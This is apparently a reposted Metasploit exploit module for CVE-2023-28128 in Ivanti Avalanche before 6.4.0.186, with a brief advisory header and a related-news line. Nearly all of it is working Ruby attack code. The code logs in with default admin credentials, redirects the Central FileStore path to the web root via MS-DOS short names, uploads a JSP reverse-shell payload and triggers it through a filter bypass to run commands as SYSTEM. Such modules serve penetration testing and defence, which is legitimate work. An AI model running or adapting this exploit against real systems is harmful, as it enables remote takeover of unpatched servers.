Headline
Ivanti Avalanche FileStoreConfig Shell Upload
Ivanti Avalanche versions prior to 6.4.0.186 permits MS-DOS style short names in the configuration path for the Central FileStore. Because of this, an administrator can change the default path to the web root of the applications, upload a JSP file, and achieve remote command execution as NT AUTHORITY\SYSTEM.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti Avalanche FileStoreConfig File Upload', 'Description' => %q{ Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short names in the configuration path for the Central FileStore. Because of this, an administrator can change the default path to the web root of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Piotr Bazydlo', # @chudypb - Vulnerability Discovery 'Shelby Pace' # Metasploit module ], 'References' => [ ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'], ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'], ['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'], ['CVE', '2023-28128'] ], 'Platform' => ['win', 'java'], 'Privileged' => true, 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }] ], 'DisclosureDate' => '2023-04-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]), OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]), OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ]) ] ) end def check # Cleanup should not be needed after doing just a check. @cleanup_needed = false res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'GET' ) return CheckCode::Unknown('Failed to receive a response from the application') unless res unless res.body.include?('Avalanche - User Login') return CheckCode::Safe('Application does not appear to be Ivanti Avalanche') end html = res.get_html_document elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) } return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/) return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2 version = version[1] vprint_status("Version of Ivanti Avalanche appears to be v#{version}") ver_no = Rex::Version.new(version) patched_version = Rex::Version.new('6.4.0.186') if ver_no >= patched_version CheckCode::Safe('Target has been patched!') elsif ver_no < patched_version CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!') else CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}") end end def authenticate if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank? fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options') end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'GET', 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login') html = res.get_html_document view_state = get_view_state(html) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'loginForm' => 'loginForm', 'j_idt8' => '', 'loginField' => datastore['USERNAME'], 'passwordField' => datastore['PASSWORD'], 'TextCaptchaAnswer' => '', 'javax.faces.ViewState' => view_state, 'loginTableButton' => 'loginTableButton' } ) unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf') fail_with(Failure::UnexpectedReply, 'Login failed') end end def get_view_state(html) view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text view_state end def configure_filestore res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration') end html = res.get_html_document view_state = get_view_state(html) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path print_status("Original FileStore config path: '#{@original_config_path}'") # determine drive letter drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/) fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3 drive_letter = drive_letter[1] new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web" print_status("Changing FileStore config path to '#{new_config_path}'") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', 'formFileStoreConfig' => 'formFileStoreConfig', 'txtUncPath' => new_config_path, 'txtVelocityFolder' => '', 'javax.faces.ViewState' => view_state } ) input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first if input_field_html.blank? fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!') elsif input_field_html[:value] != new_config_path fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path') end end def get_directory_val(res, dir_name) html = res.get_html_document results = html.xpath('//tr[contains(@class, "DIRECTORY")]') fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name } fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir data_rk = expand_dir.at('@data-rk')&.value fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk data_rk end def expand_folder(data_rk, view_state) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', 'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree', 'fileStoreTree_dlgFileStoreTree_expand' => data_rk, 'javax.faces.ViewState' => view_state } ) end def select_folder(data_rk, view_state) @cleanup_needed = true send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.behavior.event' => 'select', 'javax.faces.partial.event' => 'select', 'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk, 'form_filestore_tree' => 'form_filestore_tree', 'fileStoreTree_dlgFileStoreTree_selection' => data_rk, 'javax.faces.ViewState' => view_state } ) end def upload_payload payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp" # need to 'select' webapps/AvalancheWeb to upload a file res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first web_data_rk = get_directory_val(res, 'webapps') view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state res = expand_folder(web_data_rk, view_state) fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res avalanche_data_rk = get_directory_val(res, 'AvalancheWeb') view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state res = select_folder(avalanche_data_rk, view_state) fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n" post_data << "upload-form\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n" post_data << "#{view_state}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n" post_data << "true\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n" post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n" post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n" post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n" post_data << "Content-Type: application/octet-stream\r\n\r\n" post_data << "#{payload.encoded}\r\n" post_data << "--#{boundary}--\r\n" res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'data' => post_data, 'headers' => { 'Accept' => 'application/xml, text/xml, */*; q=0.01', 'Faces-Request' => 'partial/ajax', 'X-RequestedWith' => 'XMLHttpRequest', 'Content-Type' => "multipart/form-data; boundary=#{boundary}", 'Accept-Encoding' => 'gzip, deflate' } ) fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}") print_good("Successfully uploaded '#{payload_name}'") payload_name end def cleanup if @cleanup_needed == false return end restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.' print_status('Attempting to restore config path') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) unless res print_error("Could not access FileStore config. #{restore_msg}") return end html = res.get_html_document view_state = get_view_state(html) unless view_state print_error("Failed to get view state. #{restore_msg}") return end send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', 'formFileStoreConfig' => 'formFileStoreConfig', 'txtUncPath' => @original_config_path, 'txtVelocityFolder' => '', 'javax.faces.ViewState' => view_state } ) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) unless res&.body&.include?(@original_config_path) print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}") return end print_good('Successfully restored the FileStore config path') end def exploit # Starting off we shouldn't need cleanup, however if we get to the point were we start # to change config settings then we will need to clean that up. @cleanup_needed = false authenticate configure_filestore payload_name = upload_payload register_file_for_cleanup("webapps/#{payload_name}") send_request_cgi( 'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet 'method' => 'GET', 'keep_cookies' => true ) endend
Related news
CVE-2023-28128: Ivanti Community
An unrestricted upload of file with dangerous type vulnerability exists in Avalanche versions 6.3.x and below that could allow an attacker to achieve a remove code execution.